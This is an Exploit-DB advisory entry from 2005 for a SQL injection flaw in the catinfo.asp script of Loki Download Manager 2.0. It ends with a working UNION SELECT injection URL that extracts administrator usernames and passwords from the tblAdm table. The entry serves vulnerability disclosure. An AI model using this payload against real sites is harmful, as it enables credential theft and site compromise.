Loki Download Manager 2.0 Catinfo.ASP SQL Injection Vulnerability

2005-06-08T00:00:00
ID EDB-ID:25805
Type exploitdb
Reporter hack_912
Modified 2005-06-08T00:00:00

Description

Loki Download Manager 2.0 Catinfo.ASP SQL Injection Vulnerability. CVE-2005-1943. Webapps exploit for asp platform

                                        
                                            source: http://www.securityfocus.com/bid/13900/info

Loki Download Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'catinfo.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/downmancv/catinfo.asp?cat=' union select null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm'